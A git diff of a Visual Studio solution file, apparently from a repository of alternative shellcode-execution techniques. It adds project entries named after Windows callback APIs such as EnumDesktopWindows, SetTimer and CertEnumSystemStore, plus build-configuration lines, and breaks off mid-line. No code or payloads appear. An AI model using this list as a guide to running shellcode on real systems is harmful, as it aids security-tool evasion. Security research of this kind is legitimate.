diff --git a/AlternativeShellcodeExec.sln b/AlternativeShellcodeExec.sln index f9d5271..0cb9be6 100644 --- a/AlternativeShellcodeExec.sln +++ b/AlternativeShellcodeExec.sln @@ -23,6 +23,76 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPropsEx", "EnumPropsEx\ EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDisplayMonitors", "EnumDisplayMonitors\EnumDisplayMonitors.vcxproj", "{0B01514B-EAB9-4E50-82EA-979C89A5C52F}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDesktopWindows", "EnumDesktopWindows\EnumDesktopWindows.vcxproj", "{03D224C4-D5EE-4DE9-993C-477B1B937AAF}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPageFilesW", "EnumPageFilesW\EnumPageFilesW.vcxproj", "{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ImageGetDigestStream", "ImageGetDigestStream\ImageGetDigestStream.vcxproj", "{055B882F-D318-4BFC-B7DF-A05B2A628575}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumWindowStationsW", "EnumWindowStationsW\EnumWindowStationsW.vcxproj", "{AA0F0505-21D0-42F0-ADD5-1D928D36D477}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumerateLoadedModules", "EnumerateLoadedModules\EnumerateLoadedModules.vcxproj", "{F6919DF1-E593-4998-89E8-14E7ED01ECAE}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VerifierEnumerateResource", "VerifierEnumerateResource\VerifierEnumerateResource.vcxproj", "{3EB22637-5913-436C-B6B4-7E90DE2C7069}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CertEnumSystemStore", "CertEnumSystemStore\CertEnumSystemStore.vcxproj", "{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CertEnumSystemStoreLocation", "CertEnumSystemStoreLocation\CertEnumSystemStoreLocation.vcxproj", "{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SymEnumProcesses", "SymEnumProcesses\SymEnumProcesses.vcxproj", "{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDirTreeW", "EnumDirTreeW\EnumDirTreeW.vcxproj", "{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SysEnumSourceFiles", "SysEnumSourceFiles\SysEnumSourceFiles.vcxproj", "{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SymFindFileInPath", "SymFindFileInPath\SymFindFileInPath.vcxproj", "{81376644-3F09-490E-963E-2266154C188E}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InitOnceExecuteOnce", "InitOnceExecuteOnce\InitOnceExecuteOnce.vcxproj", "{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FiberContextEdit", "FiberContextEdit\FiberContextEdit.vcxproj", "{1E97F40F-E056-4468-94EA-15636B98B5D0}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FlsAlloc", "FlsAlloc\FlsAlloc.vcxproj", "{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPropsW", "EnumPropsW\EnumPropsW.vcxproj", "{2253DC4A-3941-4809-A20D-416CA71F799A}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LdrEnumerateLoadedModules", "LdrEnumerateLoadedModules\LdrEnumerateLoadedModules.vcxproj", "{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumLanguageGroupLocalesW", "EnumLanguageGroupLocalesW\EnumLanguageGroupLocalesW.vcxproj", "{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SetTimer", "SetTimer\SetTimer.vcxproj", "{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SetupCommitFileQueueW", "SetupCommitFileQueueW\SetupCommitFileQueueW.vcxproj", "{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumUILanguagesW", "EnumUILanguagesW\EnumUILanguagesW.vcxproj", "{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumSystemLocales", "EnumSystemLocales\EnumSystemLocales.vcxproj", "{C9CDA752-24AF-48CC-9F54-A695A453A929}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPwrSchemes", "EnumPwrSchemes\EnumPwrSchemes.vcxproj", "{13291D07-600D-44D2-91F8-A1FEF83AB0FD}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumResourceTypesExW", "EnumResourceTypesExW\EnumResourceTypesExW.vcxproj", "{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ImmEnumInputContext", "ImmEnumInputContext\ImmEnumInputContext.vcxproj", "{13C7FED8-77A0-4EE3-A431-6E77F22320C3}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumFontsW", "EnumFontsW\EnumFontsW.vcxproj", "{0091D5E9-A212-4C34-857F-0DB13D272AA2}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumFontFamiliesW", "EnumFontFamiliesW\EnumFontFamiliesW.vcxproj", "{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumFontFamiliesExW", "EnumFontFamiliesExW\EnumFontFamiliesExW.vcxproj", "{F169F79E-D307-4EA9-818D-8C8FF5B7138D}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumObjects", "EnumObjects\EnumObjects.vcxproj", "{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CryptEnumOIDInfo", "CryptEnumOIDInfo\CryptEnumOIDInfo.vcxproj", "{D21641FB-1935-4ED9-B511-BC80F00B733F}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumTimeFormatsEx", "EnumTimeFormatsEx\EnumTimeFormatsEx.vcxproj", "{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumICMProfiles", "EnumICMProfiles\EnumICMProfiles.vcxproj", "{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumThreadWindows", "EnumThreadWindows\EnumThreadWindows.vcxproj", "{4DC52185-7351-4EFA-A364-65945302F470}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumCalendarInfo", "EnumCalendarInfo\EnumCalendarInfo.vcxproj", "{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumCalendarInfoEx", "EnumCalendarInfoEx\EnumCalendarInfoEx.vcxproj", "{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -111,6 +181,286 @@ Global {0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x64.Build.0 = Release|x64 {0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x86.ActiveCfg = Release|Win32 {0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x86.Build.0 = Release|Win32 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x64.ActiveCfg = Debug|x64 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x64.Build.0 = Debug|x64 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x86.ActiveCfg = Debug|Win32 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x86.Build.0 = Debug|Win32 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x64.ActiveCfg = Release|x64 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x64.Build.0 = Release|x64 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x86.ActiveCfg = Release|Win32 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x86.Build.0 = Release|Win32 + {A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Debug|x64.ActiveCfg = Debug|x64 + {A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Debug|x64.Build.0 = Debug|x64 + {A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Debug|x86.ActiveCfg = Debug|Win32 + {A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Debug|x86.Build.0 = Debug|Win32 + {A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Release|x64.ActiveCfg = Release|x64 + {A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Release|x64.Build.0 = Release|x64 + {A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Release|x86.ActiveCfg = Release|Win32 + {A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}.Release|x86.Build.0 = Release|Win32 + {055B882F-D318-4BFC-B7DF-A05B2A628575}.Debug|x64.ActiveCfg = Debug|x64 + {055B882F-D318-4BFC-B7DF-A05B2A628575}.Debug|x64.Build.0 = Debug|x64 + {055B882F-D318-4BFC-B7DF-A05B2A628575}.Debug|x86.ActiveCfg = Debug|Win32 + {055B882F-D318-4BFC-B7DF-A05B2A628575}.Debug|x86.Build.0 = Debug|Win32 + {055B882F-D318-4BFC-B7DF-A05B2A628575}.Release|x64.ActiveCfg = Release|x64 + {055B882F-D318-4BFC-B7DF-A05B2A628575}.Release|x64.Build.0 = Release|x64 + {055B882F-D318-4BFC-B7DF-A05B2A628575}.Release|x86.ActiveCfg = Release|Win32 + {055B882F-D318-4BFC-B7DF-A05B2A628575}.Release|x86.Build.0 = Release|Win32 + {AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Debug|x64.ActiveCfg = Debug|x64 + {AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Debug|x64.Build.0 = Debug|x64 + {AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Debug|x86.ActiveCfg = Debug|Win32 + {AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Debug|x86.Build.0 = Debug|Win32 + {AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Release|x64.ActiveCfg = Release|x64 + {AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Release|x64.Build.0 = Release|x64 + {AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Release|x86.ActiveCfg = Release|Win32 + {AA0F0505-21D0-42F0-ADD5-1D928D36D477}.Release|x86.Build.0 = Release|Win32 + {F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Debug|x64.ActiveCfg = Debug|x64 + {F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Debug|x64.Build.0 = Debug|x64 + {F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Debug|x86.ActiveCfg = Debug|Win32 + {F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Debug|x86.Build.0 = Debug|Win32 + {F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Release|x64.ActiveCfg = Release|x64 + {F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Release|x64.Build.0 = Release|x64 + {F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Release|x86.ActiveCfg = Release|Win32 + {F6919DF1-E593-4998-89E8-14E7ED01ECAE}.Release|x86.Build.0 = Release|Win32 + {3EB22637-5913-436C-B6B4-7E90DE2C7069}.Debug|x64.ActiveCfg = Debug|x64 + {3EB22637-5913-436C-B6B4-7E90DE2C7069}.Debug|x64.Build.0 = Debug|x64 + {3EB22637-5913-436C-B6B4-7E90DE2C7069}.Debug|x86.ActiveCfg = Debug|Win32 + {3EB22637-5913-436C-B6B4-7E90DE2C7069}.Debug|x86.Build.0 = Debug|Win32 + {3EB22637-5913-436C-B6B4-7E90DE2C7069}.Release|x64.ActiveCfg = Release|x64 + {3EB22637-5913-436C-B6B4-7E90DE2C7069}.Release|x64.Build.0 = Release|x64 + {3EB22637-5913-436C-B6B4-7E90DE2C7069}.Release|x86.ActiveCfg = Release|Win32 + {3EB22637-5913-436C-B6B4-7E90DE2C7069}.Release|x86.Build.0 = Release|Win32 + {FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Debug|x64.ActiveCfg = Debug|x64 + {FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Debug|x64.Build.0 = Debug|x64 + {FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Debug|x86.ActiveCfg = Debug|Win32 + {FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Debug|x86.Build.0 = Debug|Win32 + {FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Release|x64.ActiveCfg = Release|x64 + {FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Release|x64.Build.0 = Release|x64 + {FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Release|x86.ActiveCfg = Release|Win32 + {FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}.Release|x86.Build.0 = Release|Win32 + {AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Debug|x64.ActiveCfg = Debug|x64 + {AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Debug|x64.Build.0 = Debug|x64 + {AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Debug|x86.ActiveCfg = Debug|Win32 + {AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Debug|x86.Build.0 = Debug|Win32 + {AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Release|x64.ActiveCfg = Release|x64 + {AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Release|x64.Build.0 = Release|x64 + {AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Release|x86.ActiveCfg = Release|Win32 + {AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}.Release|x86.Build.0 = Release|Win32 + {9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Debug|x64.ActiveCfg = Debug|x64 + {9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Debug|x64.Build.0 = Debug|x64 + {9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Debug|x86.ActiveCfg = Debug|Win32 + {9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Debug|x86.Build.0 = Debug|Win32 + {9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Release|x64.ActiveCfg = Release|x64 + {9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Release|x64.Build.0 = Release|x64 + {9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Release|x86.ActiveCfg = Release|Win32 + {9AC492BD-854C-418F-BFDD-7FFB1C6A4059}.Release|x86.Build.0 = Release|Win32 + {F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Debug|x64.ActiveCfg = Debug|x64 + {F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Debug|x64.Build.0 = Debug|x64 + {F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Debug|x86.ActiveCfg = Debug|Win32 + {F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Debug|x86.Build.0 = Debug|Win32 + {F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Release|x64.ActiveCfg = Release|x64 + {F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Release|x64.Build.0 = Release|x64 + {F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Release|x86.ActiveCfg = Release|Win32 + {F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}.Release|x86.Build.0 = Release|Win32 + {0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Debug|x64.ActiveCfg = Debug|x64 + {0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Debug|x64.Build.0 = Debug|x64 + {0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Debug|x86.ActiveCfg = Debug|Win32 + {0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Debug|x86.Build.0 = Debug|Win32 + {0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Release|x64.ActiveCfg = Release|x64 + {0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Release|x64.Build.0 = Release|x64 + {0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Release|x86.ActiveCfg = Release|Win32 + {0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}.Release|x86.Build.0 = Release|Win32 + {81376644-3F09-490E-963E-2266154C188E}.Debug|x64.ActiveCfg = Debug|x64 + {81376644-3F09-490E-963E-2266154C188E}.Debug|x64.Build.0 = Debug|x64 + {81376644-3F09-490E-963E-2266154C188E}.Debug|x86.ActiveCfg = Debug|Win32 + {81376644-3F09-490E-963E-2266154C188E}.Debug|x86.Build.0 = Debug|Win32 + {81376644-3F09-490E-963E-2266154C188E}.Release|x64.ActiveCfg = Release|x64 + {81376644-3F09-490E-963E-2266154C188E}.Release|x64.Build.0 = Release|x64 + {81376644-3F09-490E-963E-2266154C188E}.Release|x86.ActiveCfg = Release|Win32 + {81376644-3F09-490E-963E-2266154C188E}.Release|x86.Build.0 = Release|Win32 + {92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Debug|x64.ActiveCfg = Debug|x64 + {92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Debug|x64.Build.0 = Debug|x64 + {92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Debug|x86.ActiveCfg = Debug|Win32 + {92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Debug|x86.Build.0 = Debug|Win32 + {92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x64.ActiveCfg = Release|x64 + {92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x64.Build.0 = Release|x64 + {92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.ActiveCfg = Release|Win32 + {92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.Build.0 = Release|Win32 + {1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.ActiveCfg = Debug|x64 + {1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.Build.0 = Debug|x64 + {1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.ActiveCfg = Debug|Win32 + {1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.Build.0 = Debug|Win32 + {1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.ActiveCfg = Release|x64 + {1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.Build.0 = Release|x64 + {1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.ActiveCfg = Release|Win32 + {1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.Build.0 = Release|Win32 + {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Debug|x64.ActiveCfg = Debug|x64 + {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Debug|x64.Build.0 = Debug|x64 + {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Debug|x86.ActiveCfg = Debug|Win32 + {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Debug|x86.Build.0 = Debug|Win32 + {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x64.ActiveCfg = Release|x64 + {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x64.Build.0 = Release|x64 + {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x86.ActiveCfg = Release|Win32 + {784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}.Release|x86.Build.0 = Release|Win32 + {2253DC4A-3941-4809-A20D-416CA71F799A}.Debug|x64.ActiveCfg = Debug|x64 + {2253DC4A-3941-4809-A20D-416CA71F799A}.Debug|x64.Build.0 = Debug|x64 + {2253DC4A-3941-4809-A20D-416CA71F799A}.Debug|x86.ActiveCfg = Debug|Win32 + {2253DC4A-3941-4809-A20D-416CA71F799A}.Debug|x86.Build.0 = Debug|Win32 + {2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x64.ActiveCfg = Release|x64 + {2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x64.Build.0 = Release|x64 + {2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x86.ActiveCfg = Release|Win32 + {2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x86.Build.0 = Release|Win32 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x64.ActiveCfg = Debug|x64 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x64.Build.0 = Debug|x64 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x86.ActiveCfg = Debug|Win32 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x86.Build.0 = Debug|Win32 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x64.ActiveCfg = Release|x64 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x64.Build.0 = Release|x64 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x86.ActiveCfg = Release|Win32 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x86.Build.0 = Release|Win32 + {8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Debug|x64.ActiveCfg = Debug|x64 + {8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Debug|x64.Build.0 = Debug|x64 + {8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Debug|x86.ActiveCfg = Debug|Win32 + {8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Debug|x86.Build.0 = Debug|Win32 + {8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Release|x64.ActiveCfg = Release|x64 + {8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Release|x64.Build.0 = Release|x64 + {8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Release|x86.ActiveCfg = Release|Win32 + {8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}.Release|x86.Build.0 = Release|Win32 + {B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Debug|x64.ActiveCfg = Debug|x64 + {B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Debug|x64.Build.0 = Debug|x64 + {B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Debug|x86.ActiveCfg = Debug|Win32 + {B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Debug|x86.Build.0 = Debug|Win32 + {B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Release|x64.ActiveCfg = Release|x64 + {B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Release|x64.Build.0 = Release|x64 + {B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Release|x86.ActiveCfg = Release|Win32 + {B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}.Release|x86.Build.0 = Release|Win32 + {86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Debug|x64.ActiveCfg = Debug|x64 + {86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Debug|x64.Build.0 = Debug|x64 + {86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Debug|x86.ActiveCfg = Debug|Win32 + {86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Debug|x86.Build.0 = Debug|Win32 + {86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Release|x64.ActiveCfg = Release|x64 + {86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Release|x64.Build.0 = Release|x64 + {86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Release|x86.ActiveCfg = Release|Win32 + {86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}.Release|x86.Build.0 = Release|Win32 + {F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Debug|x64.ActiveCfg = Debug|x64 + {F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Debug|x64.Build.0 = Debug|x64 + {F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Debug|x86.ActiveCfg = Debug|Win32 + {F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Debug|x86.Build.0 = Debug|Win32 + {F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Release|x64.ActiveCfg = Release|x64 + {F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Release|x64.Build.0 = Release|x64 + {F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Release|x86.ActiveCfg = Release|Win32 + {F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}.Release|x86.Build.0 = Release|Win32 + {C9CDA752-24AF-48CC-9F54-A695A453A929}.Debug|x64.ActiveCfg = Debug|x64 + {C9CDA752-24AF-48CC-9F54-A695A453A929}.Debug|x64.Build.0 = Debug|x64 + {C9CDA752-24AF-48CC-9F54-A695A453A929}.Debug|x86.ActiveCfg = Debug|Win32 + {C9CDA752-24AF-48CC-9F54-A695A453A929}.Debug|x86.Build.0 = Debug|Win32 + {C9CDA752-24AF-48CC-9F54-A695A453A929}.Release|x64.ActiveCfg = Release|x64 + {C9CDA752-24AF-48CC-9F54-A695A453A929}.Release|x64.Build.0 = Release|x64 + {C9CDA752-24AF-48CC-9F54-A695A453A929}.Release|x86.ActiveCfg = Release|Win32 + {C9CDA752-24AF-48CC-9F54-A695A453A929}.Release|x86.Build.0 = Release|Win32 + {13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Debug|x64.ActiveCfg = Debug|x64 + {13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Debug|x64.Build.0 = Debug|x64 + {13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Debug|x86.ActiveCfg = Debug|Win32 + {13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Debug|x86.Build.0 = Debug|Win32 + {13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Release|x64.ActiveCfg = Release|x64 + {13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Release|x64.Build.0 = Release|x64 + {13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Release|x86.ActiveCfg = Release|Win32 + {13291D07-600D-44D2-91F8-A1FEF83AB0FD}.Release|x86.Build.0 = Release|Win32 + {D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Debug|x64.ActiveCfg = Debug|x64 + {D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Debug|x64.Build.0 = Debug|x64 + {D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Debug|x86.ActiveCfg = Debug|Win32 + {D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Debug|x86.Build.0 = Debug|Win32 + {D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Release|x64.ActiveCfg = Release|x64 + {D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Release|x64.Build.0 = Release|x64 + {D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Release|x86.ActiveCfg = Release|Win32 + {D0AB9F7D-C35D-4E4F-840A-34597B466E1A}.Release|x86.Build.0 = Release|Win32 + {13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Debug|x64.ActiveCfg = Debug|x64 + {13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Debug|x64.Build.0 = Debug|x64 + {13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Debug|x86.ActiveCfg = Debug|Win32 + {13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Debug|x86.Build.0 = Debug|Win32 + {13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Release|x64.ActiveCfg = Release|x64 + {13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Release|x64.Build.0 = Release|x64 + {13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Release|x86.ActiveCfg = Release|Win32 + {13C7FED8-77A0-4EE3-A431-6E77F22320C3}.Release|x86.Build.0 